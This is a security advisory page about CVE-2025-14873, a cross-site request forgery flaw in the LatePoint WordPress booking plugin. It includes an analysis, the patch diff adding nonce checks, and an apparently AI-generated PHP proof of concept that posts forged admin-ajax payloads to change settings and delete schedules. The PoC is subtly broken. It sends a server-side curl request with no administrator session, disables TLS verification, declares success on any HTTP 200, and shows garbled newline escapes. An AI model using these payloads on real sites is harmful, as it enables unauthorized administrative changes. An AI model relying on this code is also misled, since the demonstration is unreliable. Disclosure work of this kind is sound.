Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14873: LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.5 – Cross-Site Request Forgery (latepoint)

Plugin latepoint
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 5.2.5
Patched Version 5.2.6
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14873:
The LatePoint WordPress plugin, versions up to and including 5.2.5, contains a Cross-Site Request Forgery (CSRF) vulnerability in its routing layer. The vulnerability allows unauthenticated attackers to perform administrative actions by tricking an authenticated administrator into submitting a forged request. The CVSS score of 4.3 reflects a medium severity rating.

Atomic Edge research identified the root cause in the ‘call_by_route_name’ function within the plugin’s routing layer. This function validates user capabilities but lacks nonce verification for administrative actions. The code diff shows multiple controller methods missing nonce checks before executing administrative operations. Specifically, the vulnerable functions include ‘update_steps_order’ in settings_controller.php, ‘set_menu_layout_style’ in settings_controller.php, ‘remove_chain_schedule’ in settings_controller.php, ‘remove_custom_day_schedule’ in settings_controller.php, ‘save_service’ in wizard_controller.php, and ‘save_agent’ in wizard_controller.php.

Exploitation requires an attacker to craft malicious requests targeting the plugin’s AJAX endpoints. Attackers can create forged links or forms that trigger administrative actions when visited by an authenticated administrator. The attack vector uses the plugin’s routing system via the ‘data-os-action’ parameter in HTML elements or direct POST requests to the WordPress admin-ajax.php endpoint with the appropriate action parameter. The payload would include administrative parameters like ‘steps_order’, ‘menu_layout_style’, ‘chain_id’, ‘date’, ‘agent_id’, or service/agent data without requiring a valid nonce.

The patch in version 5.2.6 adds nonce verification to all vulnerable controller methods. Each patched function now calls ‘$this->check_nonce()’ with a specific nonce name before executing administrative operations. The diff shows nonce checks added to six controller methods across three files. Additionally, the patch updates HTML data attributes to include nonce parameters via ‘OsUtilHelper::build_os_params()’ calls in work_periods_helper.php and various view files. The before behavior allowed capability-checked requests without nonce validation. The after behavior requires both proper capabilities and valid nonces for all administrative actions.

Successful exploitation enables attackers to perform multiple administrative actions. These actions include reordering booking steps, changing menu layout styles, removing custom schedules, deleting day-off ranges, and creating or modifying services and agents. Attackers could disrupt business operations, modify booking workflows, or delete scheduling configurations. The vulnerability does not provide direct remote code execution or data exfiltration, but it allows unauthorized administrative changes that could impact service availability and business continuity.

Differential between vulnerable and patched code

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.2.5
+ * Version: 5.2.6
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version = '5.2.5';
+		public $version = '5.2.6';
 		public $db_version = '2.3.0';


--- a/latepoint/lib/controllers/activities_controller.php
+++ b/latepoint/lib/controllers/activities_controller.php
@@ -218,13 +218,13 @@
 				case 'customer_created':
 					$link_to_customer = '<a href="#" ' . OsCustomerHelper::quick_customer_btn_html( $activity->customer_id ) . '>' . __( 'View Customer', 'latepoint' ) . '</a>';
 					$meta_html     = '<div class="activity-preview-to"><span class="os-value">' . $link_to_customer . '</span><span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__('by:','latepoint') . '</span><span class="os-value">' . $activity->get_user_link()  . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['customer_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['customer_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'customer_updated':
 					$link_to_customer = '<a href="#" ' . OsCustomerHelper::quick_customer_btn_html( $activity->customer_id ) . '>' . __( 'View Customer', 'latepoint' ) . '</a>';
 					$meta_html     = '<div class="activity-preview-to"><span class="os-value">' . $link_to_customer . '</span><span class="os-label">' . __( 'Updated On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__('by:','latepoint') . '</span><span class="os-value">' . $activity->get_user_link()  . '</span></div>';
 					$changes       = OsUtilHelper::compare_model_data_vars( $data['customer_data_vars']['new'], $data['customer_data_vars']['old'] );
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $changes, JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $changes, JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'payment_request_created':
 					$link_to_order = '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>';
--- a/latepoint/lib/controllers/settings_controller.php
+++ b/latepoint/lib/controllers/settings_controller.php
@@ -138,6 +138,7 @@
 		}

 		public function update_steps_order() {
+			$this->check_nonce( 'update_steps_order' );
 			$new_order = explode( ',', $this->params['steps_order'] );
 			$errors    = [];

@@ -163,6 +164,7 @@


 		public function set_menu_layout_style() {
+			$this->check_nonce( 'set_menu_layout_style' );
 			$menu_layout_style = ( isset( $this->params['menu_layout_style'] ) && in_array( $this->params['menu_layout_style'], [ 'full', 'compact' ] ) ) ? $this->params['menu_layout_style'] : 'full';
 			OsSettingsHelper::set_menu_layout_style( $menu_layout_style );

@@ -216,6 +218,7 @@
 		}

 		public function remove_chain_schedule() {
+			$this->check_nonce( 'remove_chain_schedule' );
 			$chain_id = $this->params['chain_id'];
 			if ( $chain_id && OsWorkPeriodsHelper::remove_periods_for_chain_id( $chain_id ) ) {
 				$response_html = __( 'Date Range Schedule Removed', 'latepoint' );
@@ -231,6 +234,7 @@
 		}

 		public function remove_custom_day_schedule() {
+			$this->check_nonce( 'remove_custom_day_schedule' );
 			$target_date_string  = $this->params['date'];
 			$args                = [];
 			$args['agent_id']    = isset( $this->params['agent_id'] ) ? $this->params['agent_id'] : 0;
--- a/latepoint/lib/controllers/wizard_controller.php
+++ b/latepoint/lib/controllers/wizard_controller.php
@@ -47,6 +47,7 @@
 		}

 		function save_service() {
+			$this->check_nonce( 'save_service' );
 			$service = new OsServiceModel();
 			$service->set_data( $this->params['service'] );

@@ -69,6 +70,7 @@
 		}

 		function save_agent() {
+			$this->check_nonce( 'save_agent' );
 			$agent = new OsAgentModel();
 			$agent->set_data( $this->params['agent'] );
 			if ( $agent->save() ) {
--- a/latepoint/lib/helpers/work_periods_helper.php
+++ b/latepoint/lib/helpers/work_periods_helper.php
@@ -473,7 +473,7 @@
               }
               $html.= '<div class="custom-day-work-period is-range">';
               $html.= '<a href="#" title="'.esc_attr__('Edit Date Range Schedule', 'latepoint').'" class="edit-custom-day" '.self::generate_custom_day_period_action($range_start_date->format('Y-m-d'), false, array_merge($args, ['chain_id' => $chain_id])).'><i class="latepoint-icon latepoint-icon-edit-3"></i></a>';
-              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_chain_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(['chain_id' => $chain_id])).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove custom schedule for this date range?', 'latepoint').'" title="'.esc_attr__('Remove Date Range Schedule', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
+              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_chain_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(['chain_id' => $chain_id], 'remove_chain_schedule')).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove custom schedule for this date range?', 'latepoint').'" title="'.esc_attr__('Remove Date Range Schedule', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
               $html.= '<div class="custom-day-work-period-i">';
               $html.= '<div class="custom-day-number">'.esc_html($range_start_date->format('d').' - '.$range_end_date->format('d')) .'</div>';
               if($range_start_date->format('n') != $range_end_date->format('n')){
@@ -500,7 +500,7 @@
             if($processing_year != $date->format('Y')) $html.= '</div><div class="os-form-sub-header sub-level"><h3>'.esc_html($date->format('Y')).'</h3></div><div class="custom-day-work-periods">';
             $html.= '<div class="custom-day-work-period">';
             $html.= '<a href="#" title="'.esc_attr__('Edit Day Schedule', 'latepoint').'" class="edit-custom-day" '.self::generate_custom_day_period_action($work_period->custom_date, false, $args).'><i class="latepoint-icon latepoint-icon-edit-3"></i></a>';
-            $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_custom_day_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(array_merge($args, ['date' => $work_period->custom_date]))).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove custom schedule for this day?', 'latepoint').'" title="'.esc_attr__('Remove Day Schedule', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
+            $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_custom_day_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(array_merge($args, ['date' => $work_period->custom_date]), 'remove_custom_day_schedule')).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove custom schedule for this day?', 'latepoint').'" title="'.esc_attr__('Remove Day Schedule', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
             $html.= '<div class="custom-day-work-period-i">';
             $html.= '<div class="custom-day-number">'.esc_html($date->format('d')).'</div>';
             $html.= '<div class="custom-day-month">'.esc_html(OsUtilHelper::get_month_name_by_number($date->format('n'))).'</div>';
@@ -569,7 +569,7 @@
                 $processing_year = $range_start_date->format('Y');
               }
               $html.= '<div class="custom-day-work-period is-range custom-day-off">';
-              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_chain_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(['chain_id' => $chain_id])).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove day off range?', 'latepoint').'" title="'.esc_attr__('Remove Day Off Range', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
+              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_chain_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(['chain_id' => $chain_id], 'remove_chain_schedule')).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove day off range?', 'latepoint').'" title="'.esc_attr__('Remove Day Off Range', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
               $html.= '<div class="custom-day-work-period-i">';
                 $html.= '<div class="custom-day-number">'.esc_html($range_start_date->format('d').' - '.$range_end_date->format('d')) .'</div>';
                 if($range_start_date->format('n') != $range_end_date->format('n')){
@@ -587,7 +587,7 @@
             if($processing_year != $date->format('Y')) $html.= '</div><div class="os-form-sub-header sub-level"><h3>'.esc_html($date->format('Y')).'</h3></div><div class="custom-day-work-periods">';
             $html.= '<div class="custom-day-work-period custom-day-off">';
               $html.= '<a href="#" title="'.esc_attr__('Edit Day Schedule', 'latepoint').'" class="edit-custom-day" '.self::generate_custom_day_period_action($work_period->custom_date, false, $args).'><i class="latepoint-icon latepoint-icon-edit-3"></i></a>';
-              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_custom_day_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(array_merge($args, ['date' => $work_period->custom_date]))).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove this day off?', 'latepoint').'" title="'.esc_attr__('Remove Day Off', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
+              $html.= '<a href="#" data-os-pass-this="yes" data-os-after-call="latepoint_custom_day_removed" data-os-action="'.esc_attr(OsRouterHelper::build_route_name('settings', 'remove_custom_day_schedule')).'" data-os-params="'.esc_attr(OsUtilHelper::build_os_params(array_merge($args, ['date' => $work_period->custom_date]), 'remove_custom_day_schedule')).'" data-os-prompt="'.esc_attr__('Are you sure you want to remove this day off?', 'latepoint').'" title="'.esc_attr__('Remove Day Off', 'latepoint').'" class="remove-custom-day"><i class="latepoint-icon latepoint-icon-trash-2"></i></a>';
               $html.= '<div class="custom-day-work-period-i">';
                 $html.= '<div class="custom-day-number">'.esc_html($date->format('d')).'</div>';
                 $html.= '<div class="custom-day-month">'.esc_html(OsUtilHelper::get_month_name_by_number($date->format('n'))).'</div>';
--- a/latepoint/lib/views/partials/_side_menu.php
+++ b/latepoint/lib/views/partials/_side_menu.php
@@ -8,7 +8,7 @@
 		<a href="<?php echo esc_url(OsRouterHelper::build_link(['dashboard', 'index'])); ?>" class="logo-w">
 			<img src="<?php echo esc_attr(LATEPOINT_IMAGES_URL . 'logo.svg'); ?>" width="20" height="20" alt="LatePoint Dashboard">
 		</a>
-        <a href="#" data-route="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'set_menu_layout_style')); ?>" class="side-menu-fold-trigger menu-toggler"><i class="latepoint-icon latepoint-icon-menu"></i></a>
+        <a href="#" data-route="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'set_menu_layout_style')); ?>" data-params="<?php echo esc_attr(OsUtilHelper::build_os_params([], 'set_menu_layout_style')); ?>" class="side-menu-fold-trigger menu-toggler"><i class="latepoint-icon latepoint-icon-menu"></i></a>
         <a href="#" title="<?php esc_attr_e('Menu', 'latepoint'); ?>" class="latepoint-mobile-top-menu-trigger">
             <i class="latepoint-icon latepoint-icon-menu"></i>
         </a>
--- a/latepoint/lib/views/settings/steps_order_modal.php
+++ b/latepoint/lib/views/settings/steps_order_modal.php
@@ -15,7 +15,7 @@
 	<div class="os-ordered-steps-description">
 		<?php esc_html_e('Drag steps up and down to reorder. Some steps have sub steps, click on arrow to show them, they can also be reordered.', 'latepoint'); ?>
 	</div>
-	<div class="os-ordered-steps" data-route-name="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'update_steps_order')); ?>">
+	<div class="os-ordered-steps" data-route-name="<?php echo esc_attr(OsRouterHelper::build_route_name('settings', 'update_steps_order')); ?>" data-params="<?php echo esc_attr(OsUtilHelper::build_os_params([], 'update_steps_order')); ?>">
 		<?php
 		foreach($steps as $step_name => $step_children){
 			echo '<div class="os-ordered-step" data-step-code="'.esc_attr($step_name).'">';
--- a/latepoint/lib/views/wizard/steps/_form_service.php
+++ b/latepoint/lib/views/wizard/steps/_form_service.php
@@ -5,6 +5,7 @@
 ?>
 <div class="os-form-w">
   <form action="" data-os-after-call="latepoint_wizard_item_editing_cancelled" data-os-pass-response="yes" data-os-output-target=".os-wizard-step-content-i" data-os-action="<?php echo esc_attr(OsRouterHelper::build_route_name('wizard', 'save_service')); ?>">
+    <?php wp_nonce_field( 'save_service' ); ?>
     <div class="os-row">
       <div class="os-col-lg-8">
         <?php echo OsFormHelper::text_field('service[name]', __('Service Name', 'latepoint'), $service->name); ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14873 - LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.5 - Cross-Site Request Forgery

<?php
/**
 * Proof of Concept for CVE-2025-14873
 * This script demonstrates CSRF vulnerability in LatePoint plugin <= 5.2.5
 * Requires an authenticated administrator session to trigger the malicious request
 */

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';

// Example 1: Change menu layout style to compact
$payload_1 = [
    'action' => 'latepoint_route_call',
    'route_name' => 'settings__set_menu_layout_style',
    'menu_layout_style' => 'compact'
];

// Example 2: Remove custom day schedule
$payload_2 = [
    'action' => 'latepoint_route_call',
    'route_name' => 'settings__remove_custom_day_schedule',
    'date' => '2025-01-15',
    'agent_id' => '1'
];

// Example 3: Update steps order
$payload_3 = [
    'action' => 'latepoint_route_call',
    'route_name' => 'settings__update_steps_order',
    'steps_order' => 'step1,step3,step2' // Reordered steps
];

// Select which payload to use
$payload = $payload_1;

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code === 200) {
    echo "CSRF attack simulated successfully.n";
    echo "Response: " . htmlspecialchars($response) . "n";
} else {
    echo "Request failed with HTTP code: " . $http_code . "n";
    echo "Error: " . curl_error($ch) . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School